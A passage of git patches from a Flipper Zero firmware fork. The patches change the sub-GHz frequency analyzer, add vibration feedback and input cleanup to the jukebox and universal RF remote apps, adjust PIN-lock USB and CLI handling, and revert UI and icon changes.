cc1101_flush_rx(&furi_hal_spi_bus_handle_subghz); cc1101_flush_tx(&furi_hal_spi_bus_handle_subghz); cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_IOCFG0, CC1101IocfgHW); -<<<<<<< HEAD - cc1101_write_reg( - &furi_hal_spi_bus_handle_subghz, - CC1101_AGCCTRL2, - 0b0000111); // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB - cc1101_write_reg( - &furi_hal_spi_bus_handle_subghz, - CC1101_AGCCTRL1, - 0b00000000); // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - cc1101_write_reg( - &furi_hal_spi_bus_handle_subghz, - CC1101_AGCCTRL0, - 0b00000001); // 00 - No hysteresis, medium asymmetric dead zone, medium gain ; 00 - 8 samples agc; 00 - Normal AGC, 01 - 8dB boundary -======= cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_MDMCFG3, 0b11111111); // symbol rate cc1101_write_reg( @@ -123,7 +95,6 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { &furi_hal_spi_bus_handle_subghz, CC1101_AGCCTRL0, 0b00110000); // 00 - No hysteresis, medium asymmetric dead zone, medium gain ; 11 - 64 samples agc; 00 - Normal AGC, 00 - 4dB boundary ->>>>>>> upstream/dev furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); @@ -140,10 +111,7 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { furi_hal_subghz_idle(); subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_650khz); -<<<<<<< HEAD -======= // First stage: coarse scan ->>>>>>> upstream/dev for(size_t i = 0; i < subghz_setting_get_frequency_count(instance->setting); i++) { if(furi_hal_subghz_is_frequency_valid( subghz_setting_get_frequency(instance->setting, i))) { @@ -161,13 +129,9 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); -<<<<<<< HEAD - osDelay(3); -======= // delay will be in range between 1 and 2ms osDelay(2); ->>>>>>> upstream/dev rssi = furi_hal_subghz_get_rssi(); rssi_avg += rssi; @@ -182,16 +146,6 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } -<<<<<<< HEAD - if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { - // -0.5 ... 433.92 ... +0.5 - frequency_start = frequency_rssi.frequency - 500000; - frequency_rssi.rssi = -127.0; - furi_hal_subghz_idle(); - subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_58khz); - //step 10KHz - for(uint32_t i = frequency_start; i < frequency_start + 500000; i += 10000) { -======= FURI_LOG_T( TAG, "RSSI: avg %f, max %f at %u, min %f", @@ -211,7 +165,6 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { for(uint32_t i = frequency_rssi.frequency - 300000; i < frequency_rssi.frequency + 300000; i += 20000) { ->>>>>>> upstream/dev if(furi_hal_subghz_is_frequency_valid(i)) { furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); @@ -225,13 +178,9 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); -<<<<<<< HEAD - osDelay(5); -======= // delay will be in range between 1 and 2ms osDelay(2); ->>>>>>> upstream/dev rssi = furi_hal_subghz_get_rssi(); if(frequency_rssi.rssi < rssi) { frequency_rssi.rssi = rssi; @@ -241,16 +190,11 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } -<<<<<<< HEAD - if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { - instance->count_repet = 20; -======= // Deliver results if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { FURI_LOG_D(TAG, "=:%u:%f", frequency_rssi.frequency, (double)frequency_rssi.rssi); instance->sample_hold_counter = 20; ->>>>>>> upstream/dev if(instance->filVal) { frequency_rssi.frequency = subghz_frequency_analyzer_worker_expRunningAverageAdaptive( From 4d4189f3c449c5d5b3ea5402fee54fa9e1dca9d8 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 15:03:44 +0300 Subject: [PATCH 175/461] upd --- applications/jukebox/jukebox.c | 59 ++++++--------------- applications/universal_rf/universal_rf.c | 65 +++++++----------------- 2 files changed, 34 insertions(+), 90 deletions(-) diff --git a/applications/jukebox/jukebox.c b/applications/jukebox/jukebox.c index 17bfa89d6..d4eb814d5 100644 --- a/applications/jukebox/jukebox.c +++ b/applications/jukebox/jukebox.c @@ -7,6 +7,7 @@ #include #include #include +#include #define TAG "JukeBox" @@ -31,7 +32,7 @@ static char* subString(char* someString, int n) { char* new = malloc(sizeof(char) * n + 1); strncpy(new, someString, n); new[n] = '\0'; - return new; + return(new); } static char* file_stub(const char* file_name) { @@ -40,7 +41,7 @@ static char* file_stub(const char* file_name) { // string_init(file_name); path_extract_filename_no_ext(file_name, filename); - return subString((char*)string_get_cstr(filename), 8); + return(subString((char*)string_get_cstr(filename), 8)); } static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t protocol) { @@ -58,7 +59,7 @@ static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t pr } else { return; } - + NotificationApp* notification = furi_record_open("notification"); FlipperFormat* flipper_format = flipper_format_string_alloc(); Stream* stream = flipper_format_get_raw_stream(flipper_format); stream_clean(stream); @@ -77,6 +78,8 @@ static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t pr TAG, "Transmitting at %lu, repeat %lu. Press CTRL+C to stop\r\n", frequency, repeat); furi_hal_power_suppress_charge_enter(); + notification_message(notification, &sequence_set_vibro_on); + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, transmitter); while(!(furi_hal_subghz_is_async_tx_complete())) { @@ -84,6 +87,9 @@ static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t pr fflush(stdout); osDelay(333); } + notification_message(notification, &sequence_reset_vibro); + + furi_record_close("notification"); furi_hal_subghz_stop_async_tx(); furi_hal_subghz_sleep(); @@ -159,13 +165,15 @@ static void jukebox_render_callback(Canvas* canvas, void* ctx) { } canvas_draw_str(canvas, 10, 63, "[back] - skip, hold to exit"); - + jukebox_reset_state(state); release_mutex((ValueMutex*)ctx, state); } static void jukebox_input_callback(InputEvent* input_event, void* ctx) { - osMessageQueueId_t event_queue = ctx; - osMessageQueuePut(event_queue, input_event, 0, osWaitForever); + if (input_event->type == InputTypeRelease) { + osMessageQueueId_t event_queue = ctx; + osMessageQueuePut(event_queue, input_event, 0, osWaitForever); + } } int32_t jukebox_app(void* p) { @@ -218,7 +226,7 @@ int32_t jukebox_app(void* p) { ValueMutex state_mutex; if(!init_mutex(&state_mutex, &_state, sizeof(RemoteAppState))) { FURI_LOG_D(TAG, "cannot create mutex"); - return 0; + return(0); } ViewPort* view_port = view_port_alloc(); @@ -240,57 +248,22 @@ int32_t jukebox_app(void* p) { input_get_type_name(event.type)); if(event.key == InputKeyRight) { - if(event.type == InputTypePress) { state->press[0] = true; - } else if(event.type == InputTypeRelease) { - state->press[0] = false; - } else if(event.type == InputTypeShort) { - state->press[0] = false; - } } else if(event.key == InputKeyLeft) { - if(event.type == InputTypePress) { state->press[1] = true; - } else if(event.type == InputTypeRelease) { - state->press[1] = false; - } else if(event.type == InputTypeShort) { - state->press[1] = false; - } } else if(event.key == InputKeyUp) { - if(event.type == InputTypePress) { state->press[2] = true; - } else if(event.type == InputTypeRelease) { - state->press[2] = false; - } else if(event.type == InputTypeShort) { - state->press[2] = false; - } } else if(event.key == InputKeyDown) { - if(event.type == InputTypePress) { state->press[3] = true; - } else if(event.type == InputTypeRelease) { - state->press[3] = false; - } else if(event.type == InputTypeShort) { - state->press[3] = false; - } } else if(event.key == InputKeyOk) { - if(event.type == InputTypePress) { state->press[4] = true; - } else if(event.type == InputTypeRelease) { - state->press[4] = false; - } else if(event.type == InputTypeShort) { - state->press[4] = false; - } } else if(event.key == InputKeyBack) { - if(event.type == InputTypeLong) { release_mutex(&state_mutex, state); break; - } else if(event.type == InputTypeShort) { - jukebox_reset_state(state); - } } release_mutex(&state_mutex, state); view_port_update(view_port); } - // remove & free all stuff created by app gui_remove_view_port(gui, view_port); view_port_free(view_port); @@ -299,5 +272,5 @@ int32_t jukebox_app(void* p) { furi_record_close("gui"); - return 0; + return(0); } \ No newline at end of file diff --git a/applications/universal_rf/universal_rf.c b/applications/universal_rf/universal_rf.c index d37c38350..ca21e5162 100644 --- a/applications/universal_rf/universal_rf.c +++ b/applications/universal_rf/universal_rf.c @@ -7,6 +7,7 @@ #include #include #include +#include #define TAG "UniveralRFRemote" @@ -31,16 +32,15 @@ static char* subString(char* someString, int n) { char* new = malloc(sizeof(char) * n + 1); strncpy(new, someString, n); new[n] = '\0'; - return new; + return(new); } static char* file_stub(const char* file_name) { string_t filename; string_init(filename); - // string_init(file_name); path_extract_filename_no_ext(file_name, filename); - return subString((char*)string_get_cstr(filename), 8); + return(subString((char*)string_get_cstr(filename), 8)); } static void remote_send_signal(uint32_t frequency, string_t signal, string_t protocol) { @@ -58,7 +58,7 @@ static void remote_send_signal(uint32_t frequency, string_t signal, string_t pro } else { return; } - + NotificationApp* notification = furi_record_open("notification"); FlipperFormat* flipper_format = flipper_format_string_alloc(); Stream* stream = flipper_format_get_raw_stream(flipper_format); stream_clean(stream); @@ -77,6 +77,8 @@ static void remote_send_signal(uint32_t frequency, string_t signal, string_t pro TAG, "Transmitting at %lu, repeat %lu. Press CTRL+C to stop\r\n", frequency, repeat); furi_hal_power_suppress_charge_enter(); + notification_message(notification, &sequence_set_vibro_on); + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, transmitter); while(!(furi_hal_subghz_is_async_tx_complete())) { @@ -84,6 +86,10 @@ static void remote_send_signal(uint32_t frequency, string_t signal, string_t pro fflush(stdout); osDelay(333); } + notification_message(notification, &sequence_reset_vibro); + + furi_record_close("notification"); + furi_hal_subghz_stop_async_tx(); furi_hal_subghz_sleep(); @@ -115,7 +121,6 @@ static void remote_render_callback(Canvas* canvas, void* ctx) { canvas_draw_str(canvas, 0, 36, strings[3]); canvas_draw_str(canvas, 85, 36, strings[4]); canvas_draw_str(canvas, 0, 48, strings[0]); - // canvas_draw_circle(canvas, 100, 26, 25); if(state->press[0]) { string_cat_printf(signal, "%s", string_get_cstr(right_file)); @@ -159,13 +164,15 @@ static void remote_render_callback(Canvas* canvas, void* ctx) { } canvas_draw_str(canvas, 10, 63, "[back] - skip, hold to exit"); - + remote_reset_state(state); release_mutex((ValueMutex*)ctx, state); } static void remote_input_callback(InputEvent* input_event, void* ctx) { - osMessageQueueId_t event_queue = ctx; - osMessageQueuePut(event_queue, input_event, 0, osWaitForever); + if (input_event->type == InputTypeRelease) { + osMessageQueueId_t event_queue = ctx; + osMessageQueuePut(event_queue, input_event, 0, osWaitForever); + } } int32_t universal_rf_remote_app(void* p) { @@ -218,7 +225,7 @@ int32_t universal_rf_remote_app(void* p) { ValueMutex state_mutex; if(!init_mutex(&state_mutex, &_state, sizeof(RemoteAppState))) { FURI_LOG_D(TAG, "cannot create mutex"); - return 0; + return(0); } ViewPort* view_port = view_port_alloc(); @@ -226,7 +233,6 @@ int32_t universal_rf_remote_app(void* p) { view_port_draw_callback_set(view_port, remote_render_callback, &state_mutex); view_port_input_callback_set(view_port, remote_input_callback, event_queue); - // Open GUI and register view_port Gui* gui = furi_record_open("gui"); gui_add_view_port(gui, view_port, GuiLayerFullscreen); @@ -240,58 +246,23 @@ int32_t universal_rf_remote_app(void* p) { input_get_type_name(event.type)); if(event.key == InputKeyRight) { - if(event.type == InputTypePress) { state->press[0] = true; - } else if(event.type == InputTypeRelease) { - state->press[0] = false; - } else if(event.type == InputTypeShort) { - state->press[0] = false; - } } else if(event.key == InputKeyLeft) { - if(event.type == InputTypePress) { state->press[1] = true; - } else if(event.type == InputTypeRelease) { - state->press[1] = false; - } else if(event.type == InputTypeShort) { - state->press[1] = false; - } } else if(event.key == InputKeyUp) { - if(event.type == InputTypePress) { state->press[2] = true; - } else if(event.type == InputTypeRelease) { - state->press[2] = false; - } else if(event.type == InputTypeShort) { - state->press[2] = false; - } } else if(event.key == InputKeyDown) { - if(event.type == InputTypePress) { state->press[3] = true; - } else if(event.type == InputTypeRelease) { - state->press[3] = false; - } else if(event.type == InputTypeShort) { - state->press[3] = false; - } } else if(event.key == InputKeyOk) { - if(event.type == InputTypePress) { state->press[4] = true; - } else if(event.type == InputTypeRelease) { - state->press[4] = false; - } else if(event.type == InputTypeShort) { - state->press[4] = false; - } } else if(event.key == InputKeyBack) { - if(event.type == InputTypeLong) { release_mutex(&state_mutex, state); break; - } else if(event.type == InputTypeShort) { - remote_reset_state(state); - } } release_mutex(&state_mutex, state); view_port_update(view_port); } - // remove & free all stuff created by app gui_remove_view_port(gui, view_port); view_port_free(view_port); osMessageQueueDelete(event_queue); @@ -299,5 +270,5 @@ int32_t universal_rf_remote_app(void* p) { furi_record_close("gui"); - return 0; -} + return(0); +} \ No newline at end of file From 793f64f8d78e48566417e932271f7c123b9da61f Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 16:34:36 +0300 Subject: [PATCH 176/461] try rollback subghz fix --- applications/desktop/desktop.c | 7 +- applications/desktop/helpers/pin_lock.c | 5 +- .../subghz_frequency_analyzer_worker.c | 155 +++++------------- 3 files changed, 47 insertions(+), 120 deletions(-) diff --git a/applications/desktop/desktop.c b/applications/desktop/desktop.c index 34c169e07..514166375 100644 --- a/applications/desktop/desktop.c +++ b/applications/desktop/desktop.c @@ -56,7 +56,12 @@ static bool desktop_custom_event_callback(void* context, uint32_t event) { return true; case DesktopGlobalAutoLock: if(!loader_is_locked(desktop->loader)) { - desktop_lock(desktop); + if(desktop->settings.pin_code.length > 0) { + desktop_pin_lock(&desktop->settings); + desktop_lock(desktop); + } else { + desktop_lock(desktop); + } } return true; } diff --git a/applications/desktop/helpers/pin_lock.c b/applications/desktop/helpers/pin_lock.c index d63398d96..00ac41778 100644 --- a/applications/desktop/helpers/pin_lock.c +++ b/applications/desktop/helpers/pin_lock.c @@ -100,12 +100,11 @@ void desktop_pin_lock_init(DesktopSettings* settings) { } else { furi_hal_rtc_set_pin_fails(0); furi_hal_rtc_reset_flag(FuriHalRtcFlagLock); + furi_hal_usb_enable(); } if(desktop_pin_lock_is_locked()) { - Cli* cli = furi_record_open("cli"); - cli_session_close(cli); - furi_record_close("cli"); + furi_hal_usb_disable(); } } diff --git a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c index 88e2a621c..ddbe5e59f 100644 --- a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c +++ b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c @@ -1,22 +1,24 @@ #include "subghz_frequency_analyzer_worker.h" -#include +#include #include #include "../subghz_i.h" -#define TAG "SubghzFrequencyAnalyzerWorker" - -#define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -95.0f - static const uint8_t subghz_preset_ook_58khz[][2] = { - {CC1101_MDMCFG4, 0b11110111}, // Rx BW filter is 58.035714kHz + {CC1101_FIFOTHR, 0x47}, // The only important bit is ADC_RETENTION, FIFO Tx=33 Rx=32 + {CC1101_MDMCFG4, 0xF5}, // Rx BW filter is 58.035714kHz + {CC1101_TEST2, 0x81}, // FIFOTHR ADC_RETENTION=1 matched value + {CC1101_TEST1, 0x35}, // FIFOTHR ADC_RETENTION=1 matched value /* End */ {0, 0}, }; static const uint8_t subghz_preset_ook_650khz[][2] = { - {CC1101_MDMCFG4, 0b00010111}, // Rx BW filter is 650.000kHz + {CC1101_FIFOTHR, 0x07}, // The only important bit is ADC_RETENTION + {CC1101_MDMCFG4, 0x17}, // Rx BW filter is 650.000kHz + {CC1101_TEST2, 0x88}, + {CC1101_TEST1, 0x31}, /* End */ {0, 0}, }; @@ -25,7 +27,7 @@ struct SubGhzFrequencyAnalyzerWorker { FuriThread* thread; volatile bool worker_running; - uint8_t sample_hold_counter; + uint8_t count_repet; FrequencyRSSI frequency_rssi_buf; SubGhzSetting* setting; @@ -35,16 +37,6 @@ struct SubGhzFrequencyAnalyzerWorker { void* context; }; -static void subghz_frequency_analyzer_worker_load_registers(const uint8_t data[][2]) { - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); - size_t i = 0; - while(data[i][0]) { - cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, data[i][0], data[i][1]); - i++; - } - furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); -} - // running average with adaptive coefficient static uint32_t subghz_frequency_analyzer_worker_expRunningAverageAdaptive( SubGhzFrequencyAnalyzerWorker* instance, @@ -70,75 +62,32 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { SubGhzFrequencyAnalyzerWorker* instance = context; FrequencyRSSI frequency_rssi = {.frequency = 0, .rssi = 0}; - float rssi = 0; - uint32_t frequency = 0; - CC1101Status status; + float rssi; + uint32_t frequency; + uint32_t frequency_start; //Start CC1101 furi_hal_subghz_reset(); - - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); - cc1101_flush_rx(&furi_hal_spi_bus_handle_subghz); - cc1101_flush_tx(&furi_hal_spi_bus_handle_subghz); - cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_IOCFG0, CC1101IocfgHW); - cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_MDMCFG3, - 0b11111111); // symbol rate - cc1101_write_reg( - &furi_hal_spi_bus_handle_subghz, - CC1101_AGCCTRL2, - 0b00000111); // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAGN_TARGET 42 dB - cc1101_write_reg( - &furi_hal_spi_bus_handle_subghz, - CC1101_AGCCTRL1, - 0b00001000); // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 1000 - Absolute carrier sense threshold disabled - cc1101_write_reg( - &furi_hal_spi_bus_handle_subghz, - CC1101_AGCCTRL0, - 0b00110000); // 00 - No hysteresis, medium asymmetric dead zone, medium gain ; 11 - 64 samples agc; 00 - Normal AGC, 00 - 4dB boundary - - furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); - + furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok650Async); + furi_hal_subghz_set_frequency(433920000); + furi_hal_subghz_flush_rx(); furi_hal_subghz_set_path(FuriHalSubGhzPathIsolate); + furi_hal_subghz_rx(); while(instance->worker_running) { osDelay(10); - - float rssi_min = 26.0f; - float rssi_avg = 0; - size_t rssi_avg_samples = 0; - frequency_rssi.rssi = -127.0f; furi_hal_subghz_idle(); - subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_650khz); - - // First stage: coarse scan + furi_hal_subghz_load_registers(subghz_preset_ook_650khz); for(size_t i = 0; i < subghz_setting_get_frequency_count(instance->setting); i++) { if(furi_hal_subghz_is_frequency_valid( subghz_setting_get_frequency(instance->setting, i))) { - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); - cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); - frequency = cc1101_set_frequency( - &furi_hal_spi_bus_handle_subghz, + furi_hal_subghz_idle(); + frequency = furi_hal_subghz_set_frequency( subghz_setting_get_frequency(instance->setting, i)); - - cc1101_calibrate(&furi_hal_spi_bus_handle_subghz); - do { - status = cc1101_get_status(&furi_hal_spi_bus_handle_subghz); - } while(status.STATE != CC1101StateIDLE); - - cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); - furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); - - // delay will be in range between 1 and 2ms - osDelay(2); - + furi_hal_subghz_rx(); + osDelay(3); rssi = furi_hal_subghz_get_rssi(); - - rssi_avg += rssi; - rssi_avg_samples++; - - if(rssi < rssi_min) rssi_min = rssi; - if(frequency_rssi.rssi < rssi) { frequency_rssi.rssi = rssi; frequency_rssi.frequency = frequency; @@ -146,41 +95,19 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } - FURI_LOG_T( - TAG, - "RSSI: avg %f, max %f at %u, min %f", - (double)(rssi_avg / rssi_avg_samples), - (double)frequency_rssi.rssi, - frequency_rssi.frequency, - (double)rssi_min); - - // Second stage: fine scan - if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { - FURI_LOG_D(TAG, "~:%u:%f", frequency_rssi.frequency, (double)frequency_rssi.rssi); - + if(frequency_rssi.rssi > -90.0) { + // -0.5 ... 433.92 ... +0.5 + frequency_start = frequency_rssi.frequency - 250000; + //step 10KHz frequency_rssi.rssi = -127.0; furi_hal_subghz_idle(); - subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_58khz); - //-0.3 ... 433.92 ... +0.3 step 10KHz - for(uint32_t i = frequency_rssi.frequency - 300000; - i < frequency_rssi.frequency + 300000; - i += 20000) { + furi_hal_subghz_load_registers(subghz_preset_ook_58khz); + for(uint32_t i = frequency_start; i < frequency_start + 500000; i += 10000) { if(furi_hal_subghz_is_frequency_valid(i)) { - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); - cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); - frequency = cc1101_set_frequency(&furi_hal_spi_bus_handle_subghz, i); - - cc1101_calibrate(&furi_hal_spi_bus_handle_subghz); - do { - status = cc1101_get_status(&furi_hal_spi_bus_handle_subghz); - } while(status.STATE != CC1101StateIDLE); - - cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); - furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); - - // delay will be in range between 1 and 2ms - osDelay(2); - + furi_hal_subghz_idle(); + frequency = furi_hal_subghz_set_frequency(i); + furi_hal_subghz_rx(); + osDelay(3); rssi = furi_hal_subghz_get_rssi(); if(frequency_rssi.rssi < rssi) { frequency_rssi.rssi = rssi; @@ -190,24 +117,20 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } - // Deliver results - if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { - FURI_LOG_D(TAG, "=:%u:%f", frequency_rssi.frequency, (double)frequency_rssi.rssi); - - instance->sample_hold_counter = 20; + if(frequency_rssi.rssi > -90.0) { + instance->count_repet = 20; if(instance->filVal) { frequency_rssi.frequency = subghz_frequency_analyzer_worker_expRunningAverageAdaptive( instance, frequency_rssi.frequency); } - // Deliver callback - if(instance->pair_callback) { + if(instance->pair_callback) instance->pair_callback( instance->context, frequency_rssi.frequency, frequency_rssi.rssi); - } + } else { - if(instance->sample_hold_counter > 0) { - instance->sample_hold_counter--; + if(instance->count_repet > 0) { + instance->count_repet--; } else { instance->filVal = 0; if(instance->pair_callback) instance->pair_callback(instance->context, 0, 0); @@ -275,4 +198,4 @@ void subghz_frequency_analyzer_worker_stop(SubGhzFrequencyAnalyzerWorker* instan bool subghz_frequency_analyzer_worker_is_running(SubGhzFrequencyAnalyzerWorker* instance) { furi_assert(instance); return instance->worker_running; -} +} \ No newline at end of file From 8a931720612e4c228883ea9c51b527d306ca0e60 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 16:53:29 +0300 Subject: [PATCH 177/461] Update sesproject --- sesproject | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sesproject b/sesproject index ff16e1176..c4fe63f83 160000 --- a/sesproject +++ b/sesproject @@ -1 +1 @@ -Subproject commit ff16e11762a7df15982e5446d2bdde620334ebb2 +Subproject commit c4fe63f83b829491a38aa8e6e59fa64ac7f8f95b From 524b602700d2f8b1a02972f2f78f7f1affcc38f6 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 17:59:19 +0300 Subject: [PATCH 178/461] Update pin_lock.c --- applications/desktop/helpers/pin_lock.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/applications/desktop/helpers/pin_lock.c b/applications/desktop/helpers/pin_lock.c index 00ac41778..d63398d96 100644 --- a/applications/desktop/helpers/pin_lock.c +++ b/applications/desktop/helpers/pin_lock.c @@ -100,11 +100,12 @@ void desktop_pin_lock_init(DesktopSettings* settings) { } else { furi_hal_rtc_set_pin_fails(0); furi_hal_rtc_reset_flag(FuriHalRtcFlagLock); - furi_hal_usb_enable(); } if(desktop_pin_lock_is_locked()) { - furi_hal_usb_disable(); + Cli* cli = furi_record_open("cli"); + cli_session_close(cli); + furi_record_close("cli"); } } From 7724bac58a344b9a015c2d480de7e99f656a1c46 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 20:03:57 +0300 Subject: [PATCH 179/461] Revert "Merge branch 'flipperdevices:dev' into dev" This reverts commit 935c2df029245100f988bff01d26eaf1e49a19cd, reversing changes made to 524b602700d2f8b1a02972f2f78f7f1affcc38f6. --- applications/bt/bt_service/bt.c | 2 +- .../desktop/views/desktop_view_locked.c | 4 +- applications/gpio/scenes/gpio_scene_start.c | 4 +- .../scenes/ibutton_scene_read_crc_error.c | 6 +- .../scenes/ibutton_scene_read_not_key_error.c | 6 +- .../scenes/ibutton_scene_read_success.c | 7 ++- .../infrared/view/infrared_progress_view.c | 2 +- applications/power/power_service/power.c | 20 +------ .../power/power_service/views/power_off.c | 56 ++---------------- .../power/power_service/views/power_off.h | 9 --- .../scenes/storage_settings_scene_benchmark.c | 8 ++- ...=> storage_settings_scene_eject_confirm.c} | 17 +++--- ...ted.c => storage_settings_scene_ejected.c} | 15 +++-- .../storage_settings_scene_factory_reset.c | 13 ++-- .../storage_settings_scene_format_confirm.c | 8 ++- .../storage_settings_scene_formatting.c | 24 +++++--- .../storage_settings_scene_internal_info.c | 9 ++- .../scenes/storage_settings_scene_sd_info.c | 9 ++- .../subghz/scenes/subghz_scene_show_error.c | 2 +- applications/system/system_settings.c | 4 +- assets/compiled/assets_icons.c | 32 ++++++++++ assets/compiled/assets_icons.h | 8 +++ assets/icons/Dolphin/Flipper_young_80x60.png | Bin 0 -> 643 bytes assets/icons/Infrared/Back_15x10.png | Bin 0 -> 3600 bytes assets/icons/Infrared/Fill-marker_7x7.png | Bin 0 -> 3595 bytes assets/icons/Interface/Back3_45x8.png | Bin 0 -> 3630 bytes assets/icons/SDCard/SDError_43x35.png | Bin 0 -> 1873 bytes assets/icons/StatusBar/USBConnected_15x8.png | Bin 0 -> 85 bytes assets/icons/iButton/DolphinExcited_64x63.png | Bin 0 -> 2304 bytes .../iButton/iButtonDolphinSuccess_109x60.png | Bin 0 -> 2178 bytes .../targets/f7/furi_hal/furi_hal_resources.c | 2 +- 31 files changed, 145 insertions(+), 122 deletions(-) mode change 100644 => 100755 applications/power/power_service/views/power_off.c rename applications/storage_settings/scenes/{storage_settings_scene_unmount_confirm.c => storage_settings_scene_eject_confirm.c} (82%) rename applications/storage_settings/scenes/{storage_settings_scene_unmounted.c => storage_settings_scene_ejected.c} (76%) create mode 100644 assets/icons/Dolphin/Flipper_young_80x60.png create mode 100644 assets/icons/Infrared/Back_15x10.png create mode 100644 assets/icons/Infrared/Fill-marker_7x7.png create mode 100644 assets/icons/Interface/Back3_45x8.png create mode 100644 assets/icons/SDCard/SDError_43x35.png create mode 100644 assets/icons/StatusBar/USBConnected_15x8.png create mode 100644 assets/icons/iButton/DolphinExcited_64x63.png create mode 100644 assets/icons/iButton/iButtonDolphinSuccess_109x60.png diff --git a/applications/bt/bt_service/bt.c b/applications/bt/bt_service/bt.c index 1fdf8196e..b14a6c453 100755 --- a/applications/bt/bt_service/bt.c +++ b/applications/bt/bt_service/bt.c @@ -80,7 +80,7 @@ static bool bt_pin_code_verify_event_handler(Bt* bt, uint32_t pin) { string_init_printf(pin_str, "Verify code\n%06d", pin); dialog_message_set_text( bt->dialog_message, string_get_cstr(pin_str), 64, 4, AlignCenter, AlignTop); - dialog_message_set_buttons(bt->dialog_message, "Cancel", "OK", NULL); + dialog_message_set_buttons(bt->dialog_message, "Cancel", "Ok", NULL); DialogMessageButton button = dialog_message_show(bt->dialogs, bt->dialog_message); string_clear(pin_str); return button == DialogMessageButtonCenter; diff --git a/applications/desktop/views/desktop_view_locked.c b/applications/desktop/views/desktop_view_locked.c index 4b544988e..9f39c2ce6 100644 --- a/applications/desktop/views/desktop_view_locked.c +++ b/applications/desktop/views/desktop_view_locked.c @@ -125,9 +125,7 @@ static void desktop_view_locked_draw(Canvas* canvas, void* model) { canvas_set_font(canvas, FontSecondary); elements_bold_rounded_frame(canvas, 14, 2 + STATUS_BAR_Y_SHIFT, 99, 48); elements_multiline_text(canvas, 65, 20 + STATUS_BAR_Y_SHIFT, "To unlock\npress:"); - canvas_draw_icon(canvas, 65, 36 + STATUS_BAR_Y_SHIFT, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 80, 36 + STATUS_BAR_Y_SHIFT, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 95, 36 + STATUS_BAR_Y_SHIFT, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 65, 36 + STATUS_BAR_Y_SHIFT, &I_Back3_45x8); canvas_draw_icon(canvas, 16, 7 + STATUS_BAR_Y_SHIFT, &I_WarningDolphin_45x42); canvas_draw_dot(canvas, 17, 61); } else if(view_state == DesktopViewLockedStateUnlockedHintShown) { diff --git a/applications/gpio/scenes/gpio_scene_start.c b/applications/gpio/scenes/gpio_scene_start.c index 4df74114a..4257ec39b 100644 